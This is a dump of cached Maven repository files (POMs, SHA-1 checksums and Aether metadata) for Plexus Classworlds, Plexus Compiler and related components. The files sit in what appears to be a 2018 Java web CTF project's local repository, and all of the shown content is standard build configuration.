    "content": "<!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  ~\n  ~  Copyright 2001-2006 The Codehaus Foundation.\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~       http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.10</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-classworlds</artifactId>\n  <packaging>jar</packaging>\n  <name>Plexus Classworlds</name>\n  <version>1.2-alpha-9</version>\n  <description />\n  <inceptionYear>2002</inceptionYear>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <type>jar</type>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>org/codehaus/plexus/classworlds/event/*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>debug</id>\n      <dependencies>\n        <dependency>\n          <groupId>aspectj</groupId>\n          <artifactId>aspectjrt</artifactId>\n          <version>1.5.0</version>\n        </dependency>\n      </dependencies>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>aspectj-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>compile</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <complianceLevel>1.4</complianceLevel>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9</developerConnection> \n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9</url>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/plexus-classworlds-1.2-alpha-9.pom.sha1",
    "content": "32be3692644bf86d1226e13e2a60b49a9fa49571"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-classworlds-2.2.2.jar>central=\nplexus-classworlds-2.2.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.jar.sha1",
    "content": "3a2bad2b58c1ca765d3f471cea8c1655d70fdfd9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.pom",
    "content": "<!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  ~\n  ~  Copyright 2001-2006 The Codehaus Foundation.\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~       http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.3</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-classworlds</artifactId>\n  <version>2.2.2</version>\n\n  <name>Plexus Classworlds</name>\n  <description>A class loader framework</description>\n  <inceptionYear>2002</inceptionYear>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2</url>\n  </scm>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.4.2</version>\n        <configuration>\n          <redirectTestOutputToFile>true</redirectTestOutputToFile>\n          <argLine>-ea:org.codehaus.classworlds:org.codehaus.plexus.classworlds</argLine>\n          <forkMode>once</forkMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>org/codehaus/plexus/classworlds/event/*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-dependency-plugin</artifactId>\n        <version>2.0</version>\n        <executions>\n          <execution>\n            <phase>generate-test-resources</phase>\n            <goals>\n              <goal>copy</goal>\n            </goals>\n            <configuration>\n                <artifactItems>\n                  <artifactItem>\n                    <groupId>ant</groupId>\n                    <artifactId>ant</artifactId>\n                    <version>1.6.5</version>\n                  </artifactItem>\n                  <artifactItem>\n                    <groupId>commons-logging</groupId>\n                    <artifactId>commons-logging</artifactId>\n                    <version>1.0.3</version>\n                  </artifactItem>\n                  <artifactItem>\n                    <groupId>xml-apis</groupId>\n                    <artifactId>xml-apis</artifactId>\n                    <version>1.3.02</version>\n                  </artifactItem>\n                </artifactItems>\n                <outputDirectory>${project.build.directory}/test-lib</outputDirectory>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.pom.sha1",
    "content": "df1dfb0099c8759b378fe0af3b4a564d2c16aa18"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nplexus-classworlds-2.2.3.pom>central=\nplexus-classworlds-2.2.3.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.jar.sha1",
    "content": "93b34d7a40ed56fe33274480c5792b656d3697a9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom",
    "content": "<!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  ~\n  ~  Copyright 2001-2006 The Codehaus Foundation.\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~       http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>2.0.6</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-classworlds</artifactId>\n  <version>2.2.3</version>\n\n  <name>Plexus Classworlds</name>\n  <description>A class loader framework</description>\n  <inceptionYear>2002</inceptionYear>\n\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3</url>\n  </scm>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.4.2</version>\n        <configuration>\n          <redirectTestOutputToFile>true</redirectTestOutputToFile>\n          <argLine>-ea:org.codehaus.classworlds:org.codehaus.plexus.classworlds</argLine>\n          <forkMode>once</forkMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>org/codehaus/plexus/classworlds/event/*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-dependency-plugin</artifactId>\n        <version>2.0</version>\n        <executions>\n          <execution>\n            <phase>generate-test-resources</phase>\n            <goals>\n              <goal>copy</goal>\n            </goals>\n            <configuration>\n              <artifactItems>\n                <artifactItem>\n                  <groupId>ant</groupId>\n                  <artifactId>ant</artifactId>\n                  <version>1.6.5</version>\n                </artifactItem>\n                <artifactItem>\n                  <groupId>commons-logging</groupId>\n                  <artifactId>commons-logging</artifactId>\n                  <version>1.0.3</version>\n                </artifactItem>\n                <artifactItem>\n                  <groupId>xml-apis</groupId>\n                  <artifactId>xml-apis</artifactId>\n                  <version>1.3.02</version>\n                </artifactItem>\n              </artifactItems>\n              <outputDirectory>${project.build.directory}/test-lib</outputDirectory>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom.sha1",
    "content": "068f7ac6a425f5e82bbbb5faef91e4b5d3d84f76"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:58 CST 2018\nplexus-compiler-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/plexus-compiler-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-components</artifactId>\n    <version>1.3.1</version>\n  </parent>\n\n  <artifactId>plexus-compiler</artifactId>\n  <version>2.5</version>\n  <packaging>pom</packaging>\n\n  <name>Plexus Compiler</name>\n  <description>Plexus Compiler is a Plexus component to use different compilers through a uniform API.</description>\n\n  <modules>\n    <module>plexus-compiler-api</module>\n    <module>plexus-compiler-manager</module>\n    <module>plexus-compilers</module>\n    <module>plexus-compiler-test</module>\n  </modules>\n  \n  <scm>\n    <connection>scm:git:git@github.com:codehaus-plexus/plexus-compiler.git</connection>\n    <developerConnection>scm:git:git@github.com:codehaus-plexus/plexus-compiler.git</developerConnection>\n    <url>http://github.com/codehaus-plexus/plexus-compiler</url>\n    <tag>plexus-compiler-2.5</tag>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/PLXCOMP/component/12541</url>\n  </issueManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-compiler-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-compiler-test</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0.10</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n      <version>4.11</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.17</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <releaseProfiles>plexus-release,tools.jar</releaseProfiles>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n              <goal>merge-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-gpg-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.7</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>3.0.0</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.6</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <!--\n      Make sure maven.repo.local is passed through to the tests if set or the tests will fail to resolve artifacts\n      (c.f. SUREFIRE-491).\n      -->\n      <id>maven.repo.local</id>\n      <activation>\n        <property>\n          <name>maven.repo.local</name>\n        </property>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-surefire-plugin</artifactId>\n              <configuration>\n                <systemProperties combine.children=\"append\">\n                  <property>\n                    <name>maven.repo.local</name>\n                    <value>${maven.repo.local}</value>\n                  </property>\n                </systemProperties>\n              </configuration>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/plexus-compiler-2.5.pom.sha1",
    "content": "f626ccd9e26a2d3ec8723ec1e545750cc1c0d8d4"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-compiler-api-2.5.jar>central=\nplexus-compiler-api-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.jar.sha1",
    "content": "10fec3fabc1cf8114a6d520b64b2665b4c71ca7a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-compiler</artifactId>\n    <version>2.5</version>\n  </parent>\n\n  <artifactId>plexus-compiler-api</artifactId>\n\n  <name>Plexus Compiler Api</name>\n  <description>Plexus Compilers component's API to manipulate compilers.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.pom.sha1",
    "content": "88db80dc285798fefce970bff21f8c12524d2a08"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-compiler-javac-2.5.pom>central=\nplexus-compiler-javac-2.5.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.jar.sha1",
    "content": "5faa380e1b7416e4265ea98d3caa04bf797fc06c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-compilers</artifactId>\n    <version>2.5</version>\n  </parent>\n  \n  <artifactId>plexus-compiler-javac</artifactId>\n\n  <name>Plexus Javac Component</name>\n  <description>Javac Compiler support for Plexus Compiler component.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.pom.sha1",
    "content": "a4e5664e656224dbf85c573163a38e9c3f7fb59d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-compiler-manager-2.5.pom>central=\nplexus-compiler-manager-2.5.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.jar.sha1",
    "content": "4ade4f1150252ceaf7d0fa8745993fbb2e623a3f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-compiler</artifactId>\n    <version>2.5</version>\n  </parent>\n\n  <artifactId>plexus-compiler-manager</artifactId>\n\n  <name>Plexus Compiler Manager</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-api</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/plexus-compiler-manager-2.5.pom.sha1",
    "content": "3a1142b4c4f0ec11bcd78ca408314d74abb8b416"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:02 CST 2018\nplexus-compilers-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/plexus-compilers-2.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-compiler</artifactId>\n    <version>2.5</version>\n  </parent>\n\n  <artifactId>plexus-compilers</artifactId>\n  <packaging>pom</packaging>\n\n  <name>Plexus Compilers</name>\n\n  <modules>\n    <module>plexus-compiler-aspectj</module>\n    <module>plexus-compiler-csharp</module>\n    <module>plexus-compiler-eclipse</module>\n    <module>plexus-compiler-jikes</module>\n    <module>plexus-compiler-javac</module>\n    <module>plexus-compiler-javac-errorprone</module>\n  </modules>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-compiler-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compilers/2.5/plexus-compilers-2.5.pom.sha1",
    "content": "fcea88e94c502233bcb1ef9a5a9f7fa8a562d1e9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-component-annotations-1.5.5.jar>central=\nplexus-component-annotations-1.5.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.jar.sha1",
    "content": "c72f2660d0cbed24246ddb55d7fdc4f7374d2078"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!-- $Id: pom.xml 8792 2010-09-30 20:11:06Z bentmann $ -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-containers</artifactId>\n    <version>1.5.5</version>\n  </parent>\n\n  <artifactId>plexus-component-annotations</artifactId>\n\n  <name>Plexus :: Component Annotations</name>\n  <description>\n    Plexus Component \"Java 5\" Annotations, to describe plexus components properties in java sources with\n    standard annotations instead of javadoc annotations.\n  </description>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-component-annotations/1.5.5/plexus-component-annotations-1.5.5.pom.sha1",
    "content": "fd506865d5d083d8cef9fdbf525ad99fcc3416c1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:03 CST 2018\nplexus-components-1.1.12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.1.12/plexus-components-1.1.12.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <artifactId>plexus</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.10</version>\n    <relativePath>../pom/pom.xml</relativePath>\n  </parent>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-components</artifactId>\n  <packaging>pom</packaging>\n  <version>1.1.12</version>\n  <name>Plexus Components Parent Project</name>\n  <url>http://plexus.codehaus.org/plexus-components</url>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-api</artifactId>\n      <version>1.0-alpha-20</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-20</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <modules>\n    <module>plexus-action</module>\n    <module>plexus-archiver</module>\n    <module>plexus-bayesian</module>\n    <module>plexus-command</module>\n    <module>plexus-compiler</module>\n    <module>plexus-drools</module>\n    <module>plexus-formica</module>\n    <module>plexus-formica-web</module>\n    <module>plexus-hibernate</module>\n    <module>plexus-i18n</module>\n    <module>plexus-interactivity</module>\n    <module>plexus-ircbot</module>\n    <module>plexus-jdo</module>\n    <module>plexus-jetty-httpd</module>\n    <module>plexus-jetty</module>\n    <module>plexus-mimetyper</module>\n    <module>plexus-mail-sender</module>\n    <module>plexus-notification</module>\n    <module>plexus-resources</module>\n    <module>plexus-taskqueue</module>\n    <module>plexus-velocity</module>\n    <module>plexus-xmlrpc</module>\n  </modules>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-components/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-components/trunk</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-components/trunk/</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        